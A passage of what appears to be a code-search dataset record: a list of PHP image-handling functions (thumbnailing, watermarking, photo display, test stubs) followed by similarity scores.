new xmlrpcmsg('execute');\r\n $msg4->addParam(new xmlrpcval($dbname, \"string\"));\r\n $msg4->addParam(new xmlrpcval($uid, \"int\"));\r\n $msg4->addParam(new xmlrpcval($password, \"string\"));\r\n $msg4->addParam(new xmlrpcval(\"compassion.child.pictures\", \"string\"));\r\n $msg4->addParam(new xmlrpcval(\"read\", \"string\"));\r\n $msg4->addParam(new xmlrpcval($idpictures_list, \"array\"));\r\n $msg4->addParam(new xmlrpcval($field_list_child, \"array\"));\r\n\r\n $resp4 = $client->send($msg4);\r\n //print_r($resp4);\r\n if ($resp4->faultCode()) {\r\n echo $resp4->faultString();\r\n }\r\n //print_r($resp4);\r\n\r\n $result4 = $resp4->value()->scalarval();\r\n //print_r($result4);\r\n for ($i4 = 0; $i4 < count($result4); $i4++) {\r\n\r\n $child_portrait = $result4[$i4]->me['struct'][$image_sel]->me['string'];\r\n\r\n // load an image\r\n @$i = new Imagick();\r\n if ($i->readimageblob(base64_decode($child_portrait))) {\r\n // get the current image dimensions\r\n $geo = $i->getImageGeometry();\r\n\r\n // crop the image\r\n if (($geo['width'] / $width) < ($geo['height'] / $height)) {\r\n $i->cropImage($geo['width'], floor($height * $geo['width'] / $width), 0, (($geo['height'] - ($height * $geo['width'] / $width)) / 1.2));\r\n } else {\r\n $i->cropImage(ceil($width * $geo['height'] / $height), $geo['height'], (($geo['width'] - ($width * $geo['height'] / $height)) / 2), 0);\r\n }\r\n // thumbnail the image\r\n $i->ThumbnailImage($width, $height, true);\r\n\r\n $i->writeimage('tmp/thumbnails/' . $child_id . '_' . $image_sel . '_' . $width . 'x' . $height . '.jpg');\r\n }\r\n }\r\n }\r\n\r\n if (file_exists('tmp/thumbnails/' . $child_id . '_' . $image_sel . '_' . $width . 'x' . $height . '.jpg')) {\r\n echo '<div class=\"crop-square\" style=\"width:' . $width . 'px; height:' . $height . 'px; ' . @$custom_style . '\">';\r\n echo '<img class=\"img-responsive\" src=\"' . 'tmp/thumbnails/' . $child_id . '_' . $image_sel . '_' . $width . 'x' . $height . '.jpg' . '\"/>';\r\n echo '</div>';\r\n }\r\n } catch (Exception $ex) {\r\n\r\n// print_r($ex);\r\n }\r\n}",
"function get_udims($width, $height)\n {\n }",
"function ThumbProduk($NamaFile) {\n\t$vdir_upload = \"../photo_pub/\";\n\t$vfile_upload = $vdir_upload . $NamaFile;\n\t\n\t$im_src = imagecreatefromjpeg($vfile_upload);\n\t$src_width = imageSX($im_src);\n\t$src_height = imageSY($im_src);\n\t\n\t//simpan thumb 200x200\n\tif ($src_width > $src_height) {\n\t $y = 0;\n\t $x = ($src_width - $src_height) / 2;\n\t $smallestSide = $src_height;\n\t} else {\n\t $x = 0;\n\t $y = ($src_height - $src_width) / 2;\n\t $smallestSide = $src_width;\n\t}\n\n\t$dst_width = 200;\n\t//$dst_height = ($dst_width/$src_width)*$src_height;\n\t$dst_height = 200;\n\n\t//proses perubahan ukuran\n\t$im = imagecreatetruecolor($dst_width,$dst_height);\n\timagecopyresampled($im, $im_src, 0, 0, $x, $y, $dst_width, $dst_height, $smallestSide, $smallestSide);\n\t//imagecopyresampled($thumb, $myImage, 0, 0, $x, $y, $thumbSize, $thumbSize, $smallestSide, $smallestSide);\n\n\t//Simpan gambar\n\t$dir_thumb=\"../pic_produk/thumb/\";\n\timagejpeg($im,$dir_thumb . \"thumb_\" . $NamaFile);\n\t\n\t//buat untuk display 650px \n\tif ($src_width<900) { $dst_width=$src_width; $dst_height = ($dst_width/$src_width)*$src_height; }\n\telse {\n\t\t$dst_width = 900;\n\t\t$dst_height = ($dst_width/$src_width)*$src_height; \n\t\tif ($src_width < $src_height) { \n\t\t $dst_height = 900;\n\t\t $dst_width = ($dst_height/$src_height)*$src_width;\n\t\t}\n\t}\n\t//proses perubahan ukuran\n\t$im = imagecreatetruecolor($dst_width,$dst_height);\n\timagecopyresampled($im, $im_src, 0, 0, 0, 0, $dst_width, $dst_height, $src_width, $src_height);\n\n\t//Simpan gambar\n\t$dir_display=\"../pic_produk/display/\";\n\timagejpeg($im,$dir_display . \"display_\" . $NamaFile);\n\t\n\t//destroy aslinya\n\timagedestroy($im_src);\n\timagedestroy($im);\n}",
"public static function v4Thumb(): string\n {\n return sprintf(\n '%s-%04x-%04x-%04x-%04x%04x%04x',\n 'Thumb',\n // 16 bits for \"time_mid\"\n mt_rand(0, 0xffff),\n // 16 bits for \"time_hi_and_version\",\n // four most significant bits holds version number 4\n mt_rand(0, 0x0fff) | 0x4000,\n // 16 bits, 8 bits for \"clk_seq_hi_res\",\n // 8 bits for \"clk_seq_low\",\n // two most significant bits holds zero and one for variant DCE1.1\n mt_rand(0, 0x3fff) | 0x8000,\n // 48 bits for \"node\"\n mt_rand(0, 0xffff),\n mt_rand(0, 0xffff),\n mt_rand(0, 0xffff)\n );\n }",
"function makeBandeau(){\n $bandeau = \"<div id=\\\"title\\\">\n <h1>\n <img src=\\\"images/bandeau.jpg\\\" />\n </h1>\n </div>\";\n echo $bandeau;\n}",
"public function draw(){\n\t\t$this->doOutputResource();\n\t\t$defExt=\"gif\";\n\t\t$ext = ($this->outputFilename && strtolower(substr($this->outputFilename,-3))==\"$defExt\") ? substr($this->outputFilename,-4) :\".$defExt\";\n\t\t$out = $this->outputFilename.$ext;\n\t\tif(!$this->outputFilename){\n\t\t\theader(\"Content-Type: image/gif\");\n\t\t\t$out=null;\n\t\t}\n\t\t$this->outputFilename = $out;\n\t\treturn imagegif($this->outImage,$this->outputFilename);\n\t}",
"public function testProfilePrototypeCreateImage()\n {\n\n }",
"public function testProfilePrototypeGetImage()\n {\n\n }",
"function tampilPhoto($nrk=''){\n $rs=$this->mdl->get_data($nrk)->row();\n $result = $rs->X_PHOTO->load();\n// If any text (or whitespace!) is printed before this header is sent,\n// the text won't be displayed and the image won't display properly.\n// Comment out this line to see the text and debug such a problem.\n header(\"Content-type: image/JPEG\");\n echo $result;\n }",
"function getImg() {\n\n global $f3;\n global $tvdb;\n\n $series = $f3->get('PARAMS.param1');\n $episode_index = $f3->get('PARAMS.param2');\n $data = $tvdb->getSeries($series);\n\n if ($episode_index) {\n\t\t//if requesting episode image\n $chunks = explode(\",\", $episode_index);\n \t\t$season = $chunks[0]; //\techo \"Season \" . $season;\n \t\t$ep = $chunks[1]; //\t\techo \"Ep\" . $ep;\n \t\t$episode = $tvdb->getEpisode($data[0]->id, $season, $ep, 'en');\n\t\t echo $episode->thumbnail;\n } \n else {\n\t\t//if requesting show images\n $banner = $tvdb->getBanners($data[0]->id);\n $banner_j = json_encode($banner);\n echo $banner_j;\n }\n}",
"function display_album($img_in_album, $title, $width, $height) {\n echo '<img id=\"imgFromAlbum\" src=\"uploads/' . $img_in_album . '\" title=\"' . $title . '\" height=\"' . $height .'\" width=\"' . $width .'\" />';\n\t}",
"function apiGetLabPictureMapped($lab, $id,$html5,$username) {\n // Getting picture\n if (isset($lab -> getPictures()[$id])) {\n $picture = $lab -> getPictureMapped($id,$html5,$username);\n //$picture = $lab -> getPictures()[$id];\n // Printing picture\n $output['code'] = 200;\n $output['status'] = 'success';\n $output['message'] = 'Picture loaded';\n $output['data'] = Array(\n 'height' => $picture -> getHeight(),\n 'id' => $id,\n 'name' => $picture -> getName(),\n 'type' => $picture -> getNType(),\n 'width' => $picture -> getWidth(),\n 'map' => $picture -> getMap()\n );\n } else {\n $output['code'] = 404;\n $output['status'] = 'fail';\n $output['message'] = 'Picture \"'.$id.'\" not found on lab \"'.$lab_file.'\".';\n }\n return $output;\n}",
"function view_project_logo($img,$w,$h,$alt)\n{\n if(file_exists(\"../logo/\".$img) && $img!='')\n\n $temp= \"<img src=\\\"../include/phpThumb.php?src=../logo/\".$img.\"&w=$w&h=$h&iar=1\\\"; border='0' width=\\\"$w\\\" height=\\\"$h\\\" \n alt='$alt' class='floatL mar12R' />\";\n else\n $temp =\"<img src=\\\"../include/phpThumb.php?src=../logo/nophoto.jpg\\\"&w=$w&h=$h&iar=1\\\"; border='0' width=\\\"$w\\\" height=\\\"$h\\\" alt='$alt' class='floatL mar12R'/>\";\n \n\treturn $temp;\n}",
"function createImg()\n {\n // imagem de origem\n if ($this->ext == \"png\")\n $img_origem= imagecreatefrompng($this->origem);\n\t\telseif ($this->ext == \"gif\")\n $img_origem= imagecreatefromgif($this->origem);\n elseif ($this->ext == \"jpg\" || $this->ext == \"jpeg\")\n $img_origem= imagecreatefromjpeg($this->origem);\n\t\t\telseif ($this->ext == \"jpg\" || $this->ext == \"jpeg\")\n $img_origem= imagecreatefromwbmp($this->origem);\n return $img_origem;\n }",
"function photo()\r\n\t{\r\n\t\tglobal $ibforums, $std;\r\n\r\n\t\t$this->page_title = $ibforums->lang['t_welcome'];\r\n\t\t$this->nav = array(\"<a href='\" . $this->base_url . \"act=UserCP&CODE=00'>\" . $ibforums->lang['t_title'] . \"</a>\");\r\n\r\n\t\tif ($ibforums->member['g_photo_max_vars'] == \"\" or $ibforums->member['g_photo_max_vars'] == \"::\")\r\n\t\t{\r\n\t\t\t// Nothing set up yet...\r\n\r\n\t\t\t$this->output .= View::make(\"ucp.dead_section\");\r\n\t\t\treturn;\r\n\t\t}\r\n\r\n\t\t//----------------------------------------------------------------\r\n\t\t// SET DIMENSIONS\r\n\t\t//----------------------------------------------------------------\r\n\r\n\t\tlist($p_max, $p_width, $p_height) = explode(\":\", $ibforums->member['g_photo_max_vars']);\r\n\r\n\t\t$ibforums->lang['pph_max'] = sprintf($ibforums->lang['pph_max'], $p_max, $p_width, $p_height);\r\n\r\n\t\tlist($p_w, $p_h) = explode(\",\", $this->member['photo_dimensions']);\r\n\r\n\t\t$cur_photo = $ibforums->lang['pph_none'];\r\n\t\t$cur_type = \"\";\r\n\t\t$url_photo = \"\";\r\n\r\n\t\t$width = ($p_w)\r\n\t\t\t? \"width='$p_w'\"\r\n\t\t\t: \"\";\r\n\t\t$height = ($p_h)\r\n\t\t\t? \"height='$p_h'\"\r\n\t\t\t: \"\";\r\n\r\n\t\t$show_size = str_replace(\",\", \" X \", $this->member['photo_dimensions']);\r\n\r\n\t\t//----------------------------------------------------------------\r\n\t\t// TYPE?\r\n\t\t//----------------------------------------------------------------\r\n\r\n\t\tif ($this->member['photo_type'] == 'upload')\r\n\t\t{\r\n\t\t\t$cur_type = $ibforums->lang['pph_t_upload'];\r\n\t\t\t$cur_photo = \"<img src=\\\"\" . $ibforums->vars['upload_url'] . \"/\" . $this->member['photo_location'] . \"\\\" $width $height alt='Photo' />\";\r\n\t\t} else {\r\n\t\t\tif ($this->member['photo_type'] == 'url')\r\n\t\t\t{\r\n\t\t\t\t$cur_type = $ibforums->lang['pph_t_url'];\r\n\t\t\t\t$cur_photo = \"<img src=\\\"\" . $this->member['photo_location'] . \"\\\" $width $height alt='Photo' />\";\r\n\t\t\t\t$url_photo = $this->member['photo_location'];\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t//----------------------------------------------------------------\r\n\t\t// SHOW THE FORM\r\n\t\t//----------------------------------------------------------------\r\n\r\n\t\t$this->output .= View::make(\r\n\t\t\t\"ucp.photo_page\",\r\n\t\t\t[\r\n\t\t\t\t'cur_photo' => $cur_photo,\r\n\t\t\t\t'cur_type' => $cur_type,\r\n\t\t\t\t'url_photo' => $url_photo,\r\n\t\t\t\t'show_size' => $show_size,\r\n\t\t\t\t'key' => $this->md5_check\r\n\t\t\t]\r\n\t\t);\r\n\r\n\t\tif ($p_max)\r\n\t\t{\r\n\t\t\t$this->output = str_replace(\"<!--IPB.UPLOAD-->\",\r\n\t\t\t\tView::make(\"ucp.photo_page_upload\", ['max_filesize' => $p_max * 1024]), $this->output);\r\n\t\t}\r\n\r\n\t\t$size_html = $ibforums->vars['disable_ipbsize']\r\n\t\t\t? View::make(\"ucp.photo_page_mansize\")\r\n\t\t\t: View::make(\"ucp.photo_page_autosize\");\r\n\r\n\t\t$this->output = str_replace(\"<!--IPB.SIZE-->\", $size_html, $this->output);\r\n\r\n\t}",
"public function getPhoto() : string {\n $hash = crc32($this->name);\n $filename = self::PHOTO_DIRECTORY . $hash . '.png';\n\n if (file_exists($filename))\n return '/images/photos/' . $hash . '.png';\n\n return '/images/no-photo.png';\n }",
"public function clientOutput()\n {\n\t\theader( \"Content-type: image/jpeg\" );\n imagejpeg( $this->im, NULL, $this->cq);\n }",
"protected function writeGifAndPng() {}",
"function create($filename=\"\")\n{\nif ($filename) {\n $this->src_image_name = trim($filename);\n}\n$dirname=explode(\"/\",$this->src_image_name);\nif(!file_exists(\"$dirname[0]/$dirname[1]/$dirname[2]/$dirname[3]/\")){\n\t@mkdir(\"$dirname[0]/$dirname[1]/$dirname[2]/$dirname[3]/\", 0755);\n}\nif(stristr(PHP_OS,\"WIN\")){\n\t$this->src_image_name = @iconv(\"utf-8\",\"GBK\",$this->src_image_name);\n\t$this->gz_image_name = @iconv(\"utf-8\",\"GBK\",$this->gz_image_name);\n}\n$src_image_type = $this->get_type($this->src_image_name);\n$src_image = $this->createImage($src_image_type,$this->src_image_name);\nif (!$src_image) return;\n$src_image_w=ImageSX($src_image);\n$src_image_h=ImageSY($src_image);\n\n\nif ($this->gz_image_name){\n $this->gz_image_name = strtolower(trim($this->gz_image_name));\n $gz_image_type = $this->get_type($this->gz_image_name);\n $gz_image = $this->createImage($gz_image_type,$this->gz_image_name);\n $gz_image_w=ImageSX($gz_image);\n $gz_image_h=ImageSY($gz_image);\n $temp_gz_image = $this->getPos($src_image_w,$src_image_h,$this->gz_image_pos,$gz_image);\n $gz_image_x = $temp_gz_image[\"dest_x\"];\n $gz_image_y = $temp_gz_image[\"dest_y\"];\n\t if($this->get_type($this->gz_image_name)=='png'){imagecopy($src_image,$gz_image,$gz_image_x,$gz_image_y,0,0,$gz_image_w,$gz_image_h);}\n\t else{imagecopymerge($src_image,$gz_image,$gz_image_x,$gz_image_y,0,0,$gz_image_w,$gz_image_h,$this->gz_image_transition);}\n}\nif ($this->gz_text){\n $temp_gz_text = $this->getPos($src_image_w,$src_image_h,$this->gz_text_pos);\n $gz_text_x = $temp_gz_text[\"dest_x\"];\n $gz_text_y = $temp_gz_text[\"dest_y\"];\n if(preg_match(\"/([a-f0-9][a-f0-9])([a-f0-9][a-f0-9])([a-f0-9][a-f0-9])/i\", $this->gz_text_color, $color))\n {\n $red = hexdec($color[1]);\n $green = hexdec($color[2]);\n $blue = hexdec($color[3]);\n $gz_text_color = imagecolorallocate($src_image, $red,$green,$blue);\n }else{\n $gz_text_color = imagecolorallocate($src_image, 255,255,255);\n }\n imagettftext($src_image, $this->gz_text_size, $this->gz_text_angle, $gz_text_x, $gz_text_y, $gz_text_color,$this->gz_text_font, $this->gz_text);\n}\nif(stristr(PHP_OS,\"WIN\")){\n\t$save_files=explode('/',$this->save_file);\n\t$save_files[count($save_files)-1]=@iconv(\"utf-8\",\"GBK\",$save_files[count($save_files)-1]);\n\t$this->save_file=implode('/',$save_files);\n}\nif ($this->save_file)\n{\n switch ($this->get_type($this->save_file)){\n case 'gif':$src_img=ImagePNG($src_image, $this->save_file); break;\n case 'jpeg':$src_img=ImageJPEG($src_image, $this->save_file, $this->jpeg_quality); break;\n case 'png':$src_img=ImagePNG($src_image, $this->save_file); break;\n default:$src_img=ImageJPEG($src_image, $this->save_file, $this->jpeg_quality); break;\n }\n}\nelse\n{\nif ($src_image_type = \"jpg\") $src_image_type=\"jpeg\";\n header(\"Content-type: image/{$src_image_type}\");\n switch ($src_image_type){\n case 'gif':$src_img=ImagePNG($src_image); break;\n case 'jpg':$src_img=ImageJPEG($src_image, \"\", $this->jpeg_quality);break;\n case 'png':$src_img=ImagePNG($src_image);break;\n default:$src_img=ImageJPEG($src_image, \"\", $this->jpeg_quality);break;\n }\n}\nimagedestroy($src_image);\n}",
"public function get_picture(){ return $this->_picture;}",
"function generate_thumb($thumb_size = '0')\n\t{\n\t\t//Generates a thumbnail picture from the actual content in the size $thumb_size. check for making the size of the thumb right (higher pictures other than widther pictures).\n\t\treturn NOT_SUPPORTED;\n\t}"
]
| [
"0.60788685",
"0.59397936",
"0.59276235",
"0.5835917",
"0.5820076",
"0.57948035",
"0.5771516",
"0.5771516",
"0.56881374",
"0.5636707",
"0.5560324",
"0.5559364",
"0.5544915",
"0.55447745",
"0.5510863",
"0.54999477",
"0.5468979",
"0.54606766",
"0.54407716",
"0.5431303",
"0.5422673",
"0.5418687",
"0.5418687",
"0.5418687",
"0.5418687",
"0.53970736",
"0.53724134",
"0.5354339",
"0.53515625",
"0.5344927",
"0.5340394",
"0.5335536",
"0.53340924",
"0.53128767",
"0.5302613",
"0.52947736",
"0.52920353",
"0.5272257",
"0.5262078",
"0.5249276",
"0.5248864",
"0.52467185",
"0.52467185",
"0.52397007",
"0.5225747",
"0.5209016",
"0.52078795",
"0.5194451",
"0.5194432",
"0.518753",
"0.51854485",
"0.5173461",
"0.51707995",
"0.5169905",
"0.5169018",
"0.5168925",
"0.5167057",
"0.5166609",
"0.51416266",
"0.51367915",
"0.5134824",
"0.51293087",
"0.51265097",
"0.51193947",
"0.51158977",
"0.51156974",
"0.51117945",
"0.5101695",
"0.50980425",
"0.5090493",
"0.5089259",
"0.5088565",
"0.50884914",
"0.50781584",
"0.50713813",
"0.5067902",
"0.506458",
"0.506396",
"0.50549793",
"0.50449324",
"0.5028103",
"0.5027795",
"0.50252306",
"0.50243235",
"0.5023187",
"0.50147283",
"0.5013858",
"0.50093025",
"0.49983844",
"0.49926513",
"0.49903163",
"0.49899143",
"0.4983703",
"0.49779984",
"0.49730843",
"0.49700034",
"0.49647138",
"0.49632838",
"0.49589834",
"0.49582443",
"0.49518597"
]
| 0.0 | -1 |
end function GetKroppen Create a part of the picture and return as string | public function GetVansterArm() {
$html = <<<EOD
<!-- HÄR KOMMER VÄNSTER ARM -->
<g id="vansterarm">
<line fill="none" stroke="#000000" stroke-miterlimit="10" x1="188.384" y1="83.737" x2="168.635" y2="101.903"/>
<line fill="none" stroke="#000000" stroke-miterlimit="10" x1="163.176" y1="100.557" x2="168.82" y2="101.23"/>
<line fill="none" stroke="#000000" stroke-miterlimit="10" x1="169.228" y1="102.622" x2="164.563" y2="105.362"/>
<line fill="none" stroke="#000000" stroke-miterlimit="10" x1="169.532" y1="102.339" x2="170.206" y2="107.986"/>
</g>
EOD;
return $html;
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function DrawPicture() { \r\n\r\n $hogerarm = $this->GetHogerArm();\r\n $vansterarm = $this->GetVansterArm();\r\n $vansterben = $this->GetVansterBen();\r\n $hogerben = $this->GetHogerBen();\r\n $kroppen = $this->GetKroppen();\r\n $huvud = $this->GetHuvud();\r\n $repet = $this->GetRepet();\r\n $stolpen = $this->GetStolpen();\r\n $kullen = $this->GetKullen();\r\n $header = $this->GetSvgHeader();\r\n\r\n $html = <<<EOD\r\n {$header}\r\n {$kullen}\r\n {$stolpen}\r\n {$kroppen} \r\n {$hogerarm} \r\n {$vansterarm} \r\n {$vansterben} \r\n {$hogerben}\t\r\n {$repet} \t\t\r\n {$huvud}\r\n </svg>\r\nEOD;\r\n\r\n return $html;\r\n }",
"public function getWebPicture();",
"public function DrawPartsOfPicture($aNumberOfParts=9) {\r\n \r\n $html = $this->GetSvgHeader();\r\n switch ($aNumberOfParts) { \r\n case 0:\r\n return;\r\n break;\r\n case 1:\r\n $html .= $this->GetKullen();\r\n break;\r\n case 2:\r\n $html .= $this->GetKullen();\r\n $html .= $this->GetStolpen();\r\n break;\r\n case 3:\r\n $html .= $this->GetKullen();\r\n $html .= $this->GetStolpen();\r\n $html .= $this->GetRepet();\r\n break;\r\n case 4:\r\n $html .= $this->GetKullen();\r\n $html .= $this->GetStolpen();\r\n $html .= $this->GetRepet();\r\n $html .= $this->GetHuvud();\r\n break;\r\n case 5:\r\n $html .= $this->GetKullen();\r\n $html .= $this->GetStolpen();\r\n $html .= $this->GetRepet();\r\n $html .= $this->GetHuvud(); \r\n $html .= $this->GetKroppen();\r\n break;\r\n case 6:\r\n $html .= $this->GetKullen();\r\n $html .= $this->GetStolpen();\r\n $html .= $this->GetRepet();\r\n $html .= $this->GetHuvud(); \r\n $html .= $this->GetKroppen();\r\n $html .= $this->GetHogerArm();\r\n break;\r\n case 7:\r\n $html .= $this->GetKullen();\r\n $html .= $this->GetStolpen();\r\n $html .= $this->GetRepet();\r\n $html .= $this->GetHuvud(); \r\n $html .= $this->GetKroppen();\r\n $html .= $this->GetHogerArm();\r\n $html .= $this->GetVansterArm();\r\n break;\r\n case 8:\r\n $html .= $this->GetKullen();\r\n $html .= $this->GetStolpen();\r\n $html .= $this->GetRepet();\r\n $html .= $this->GetHuvud(); \r\n $html .= $this->GetKroppen();\r\n $html .= $this->GetHogerArm();\r\n $html .= $this->GetVansterArm();\r\n $html .= $this->GetHogerBen();\r\n break;\r\n case 9:\r\n $html .= $this->GetKullen();\r\n $html .= $this->GetStolpen();\r\n $html .= $this->GetRepet();\r\n $html .= $this->GetHuvud(); \r\n $html .= $this->GetKroppen();\r\n $html .= $this->GetHogerArm();\r\n $html .= $this->GetVansterArm();\r\n $html .= $this->GetHogerBen();\r\n $html .= $this->GetVansterBen(); \r\n break;\r\n }//end switch\r\n \r\n $html .= \"</svg>\";\r\n\r\n return $html; \r\n }",
"public function getImage()\n\t{\n\t\treturn $this->generator->render($this->generateCode(), $this->params);\n\t}",
"public function getImageName();",
"public function gen_thumbnail()\n {\n }",
"public function gen_thumbnail()\n {\n }",
"public function getImage();",
"public function getImage();",
"public function getImage();",
"public function getImage();",
"private function generateThumbnailGD(){\n\t\t\n\t}",
"function getImageStringFromFile($xpmfile) {\r\n $file = fopen($xpmfile,\"r\");\r\n $content = fread($file, filesize($xpmfile));\r\n // remove all \" and CR\r\n $content = str_replace(array(\"\\\"\",\"\\n\", \"\\r\"), \"\", $content);\r\n // find position of { and of } and substr between these 2\r\n $start = strpos($content, \"{\")+1; // to remove the {\r\n $stop = strpos($content, \"}\");\r\n $imgdescr = substr($content, $start, $stop - $start);\r\n // explode\r\n $xpm = explode(\",\", $imgdescr);\r\n \r\n //print_r($xpm);\r\n \r\n return getImageString($xpm);\r\n}",
"function display_graphic($piece)\n{\n}",
"public function getAbsolutePicture();",
"protected function _makeImage()\n {\n $result = array();\n $width='170';\n $height='40';\n $characters= mt_rand(5,7);\n $possible = '123456789aAbBcCdDeEfFgGhHIijJKLmMnNpPqQrRstTuUvVwWxXyYZz';\n $code = '';\n $i = 0;\n while ($i < $characters) {\n $code .= substr($possible, mt_rand(0, strlen($possible)-1), 1);\n $i++;\n }\n $font = './fonts/Milonga-Regular.ttf';\n /* font size will be 70% of the image height */\n $font_size = $height * 0.67;\n try {\n $image = @imagecreate($width, $height);\n /* set the colours */\n $text_color = imagecolorallocate($image, 20, 40, 100);\n $noise_color = imagecolorallocate($image, 100, 120, 180);\n /* generate random dots in background */\n for( $i=0; $i<($width*$height)/3; $i++ ) {\n imagefilledellipse($image, mt_rand(0,$width), mt_rand(0,$height), 1, 1, $noise_color);\n }\n /* generate random lines in background */\n for( $i=0; $i<($width*$height)/150; $i++ ) {\n imageline($image, mt_rand(0,$width), mt_rand(0,$height), mt_rand(0,$width), mt_rand(0,$height), $noise_color);\n }\n /* create textbox and add text */\n $textbox = imagettfbbox($font_size, 0, $font, $code);\n $x = ($width - $textbox[4])/2;\n $y = ($height - $textbox[5])/2;\n imagettftext($image, $font_size, 0, $x, $y, $text_color, $font , $code);\n ob_start();\n imagejpeg($image);\n $image_code = ob_get_contents ();\n ob_end_clean();\n imagedestroy($image);\n $result = array();\n $result['1'] = base64_encode($image_code);\n Tinebase_Session::getSessionNamespace()->captcha['code'] = $code;\n } catch (Exception $e) {\n if (Core::isLogLevel(LogLevel::NOTICE)) Core::getLogger()->notice(__METHOD__ . '::' . __LINE__ . ' ' . $e->getMessage());\n }\n return $result;\n }",
"public function build(): string\n {\n $this->verifyBom($this->encoding, $this->description);\n $this->_handleDefaultValues();\n\n $frame = $this->encoding->getCode();\n $frame .= $this->mimeType;\n $frame .= \"\\x00\";\n $frame .= $this->pictureType;\n $frame .= $this->description;\n $frame .= $this->encoding->getDelimiter();\n $frame .= $this->pictureData;\n\n return $frame;\n }",
"function image_hwstring($width, $height)\n {\n }",
"protected function imageName() {}",
"public function createImage2(){\n $this->createCircle(100, 100, 50, 50, 0, 360);\n $this->createCircle(400, 100, 50, 50, 0, 360);\n $this->createCircle(110, 200, 50, 50, 0, 360);\n $this->createCircle(250, 300, 50, 50, 0, 360);\n $this->createCircle(390, 200, 50, 50, 0, 360);\n $this->createLine(125, 100, 375, 100);\n $this->createLine(100, 125, 100, 175);\n $this->createLine(400, 125, 400, 175);\n $this->createLine(125, 220, 225, 300);\n $this->createLine(275, 300, 375, 220);\n $this->generateImage();\n }",
"public function getImage() {}",
"function get_court_pic($img)\n{\n\tdefine('UPLOAD_DIR', 'CourtPics/');\n\t$img \t= str_replace('data:image/png;base64,', '', $img);\n\t$img \t= str_replace(' ', '+', $img);\n\t$data \t= base64_decode($img);\n $file \t= UPLOAD_DIR . uniqid() . '.jpg';\n $success = file_put_contents($file, $data);\n \n\treturn $success ? $file : 'some problem occured';\n}",
"function create_image(){\r\n\t$wmark = imagecreatefrompng('img/stamp.png');\r\n\t//Load jpg image\r\n\t$image = imagecreatefromjpeg('img/image'.rand(1,3).'.jpg');\r\n\t\r\n\t//Get image width/height\r\n\t$width = imagesx($image);\r\n\t$height = imagesy($image);\r\n\t\r\n\t// Set the margins for the stamp and get the height/width of the stamp image\r\n\t$marge_right = 10;\r\n\t$marge_bottom = 10;\r\n\t$sx = imagesx($wmark);\r\n\t$sy = imagesy($wmark);\r\n\t\r\n\t// Copy the stamp image onto our photo using the margin offsets and the photo width to calculate positioning of the stamp. \r\n\timagecopy($image, $wmark, $width-$sx-$marge_right, $height-$sy-$marge_bottom,0,0,$sx,$sy);\r\n\t\r\n\t// Prepare the final image and save to path. If you only pass $image it will output to the browser instead of a file.\r\n\timagepng($image,\"generatedImage.png\");\r\n\t\r\n\t// Output and free memory\r\n\timagedestroy($image);\r\n}",
"public function getOpengraphImage();",
"private function getImg()\n\t{\n\t\t$buffer = ' ';\n\t\t\n\t\tif(!$this->aImg['sFilename'])\n\t\t\treturn $buffer;\n\t\t\n\t\t$buffer = '<img src=\"../../thumbs/'.$this->aImg['sFilename'].'\" />';\t\t\n\t\t\n\t\treturn $buffer;\n\t}",
"public function createImage1(){\n $this->createHexagon(150,75, 50, 200, 150, 325, 275, 325, 350,200, 275, 75);\n $this->createCircle(200, 200, 200, 200, 0, 360);\n $this->createLine(200, 125, 125, 200);\n $this->createLine(200, 125, 275, 200);\n $this->createLine(125, 200, 200, 275);\n $this->createLine(275, 200, 200, 275);\n $this->generateImage();\n }",
"function create($filename=\"\")\n{\nif ($filename) {\n $this->src_image_name = trim($filename);\n}\n$dirname=explode(\"/\",$this->src_image_name);\nif(!file_exists(\"$dirname[0]/$dirname[1]/$dirname[2]/$dirname[3]/\")){\n\t@mkdir(\"$dirname[0]/$dirname[1]/$dirname[2]/$dirname[3]/\", 0755);\n}\nif(stristr(PHP_OS,\"WIN\")){\n\t$this->src_image_name = @iconv(\"utf-8\",\"GBK\",$this->src_image_name);\n\t$this->met_image_name = @iconv(\"utf-8\",\"GBK\",$this->met_image_name);\n}\n$src_image_type = $this->get_type($this->src_image_name);\n$src_image = $this->createImage($src_image_type,$this->src_image_name);\nif (!$src_image) return;\n$src_image_w=ImageSX($src_image);\n$src_image_h=ImageSY($src_image);\n\n\nif ($this->met_image_name){\n $this->met_image_name = strtolower(trim($this->met_image_name));\n $met_image_type = $this->get_type($this->met_image_name);\n $met_image = $this->createImage($met_image_type,$this->met_image_name);\n $met_image_w=ImageSX($met_image);\n $met_image_h=ImageSY($met_image);\n $temp_met_image = $this->getPos($src_image_w,$src_image_h,$this->met_image_pos,$met_image);\n $met_image_x = $temp_met_image[\"dest_x\"];\n $met_image_y = $temp_met_image[\"dest_y\"];\n\t if($this->get_type($this->met_image_name)=='png'){imagecopy($src_image,$met_image,$met_image_x,$met_image_y,0,0,$met_image_w,$met_image_h);}\n\t else{imagecopymerge($src_image,$met_image,$met_image_x,$met_image_y,0,0,$met_image_w,$met_image_h,$this->met_image_transition);}\n}\nif ($this->met_text){\n $temp_met_text = $this->getPos($src_image_w,$src_image_h,$this->met_text_pos);\n $met_text_x = $temp_met_text[\"dest_x\"];\n $met_text_y = $temp_met_text[\"dest_y\"];\n if(preg_match(\"/([a-f0-9][a-f0-9])([a-f0-9][a-f0-9])([a-f0-9][a-f0-9])/i\", $this->met_text_color, $color))\n {\n $red = hexdec($color[1]);\n $green = hexdec($color[2]);\n $blue = hexdec($color[3]);\n $met_text_color = imagecolorallocate($src_image, $red,$green,$blue);\n }else{\n $met_text_color = imagecolorallocate($src_image, 255,255,255);\n }\n imagettftext($src_image, $this->met_text_size, $this->met_text_angle, $met_text_x, $met_text_y, $met_text_color,$this->met_text_font, $this->met_text);\n}\nif(stristr(PHP_OS,\"WIN\")){\n\t$save_files=explode('/',$this->save_file);\n\t$save_files[count($save_files)-1]=@iconv(\"utf-8\",\"GBK\",$save_files[count($save_files)-1]);\n\t$this->save_file=implode('/',$save_files);\n}\nif ($this->save_file)\n{\n switch ($this->get_type($this->save_file)){\n case 'gif':$src_img=ImagePNG($src_image, $this->save_file); break;\n case 'jpeg':$src_img=ImageJPEG($src_image, $this->save_file, $this->jpeg_quality); break;\n case 'png':$src_img=ImagePNG($src_image, $this->save_file); break;\n default:$src_img=ImageJPEG($src_image, $this->save_file, $this->jpeg_quality); break;\n }\n}\nelse\n{\nif ($src_image_type = \"jpg\") $src_image_type=\"jpeg\";\n header(\"Content-type: 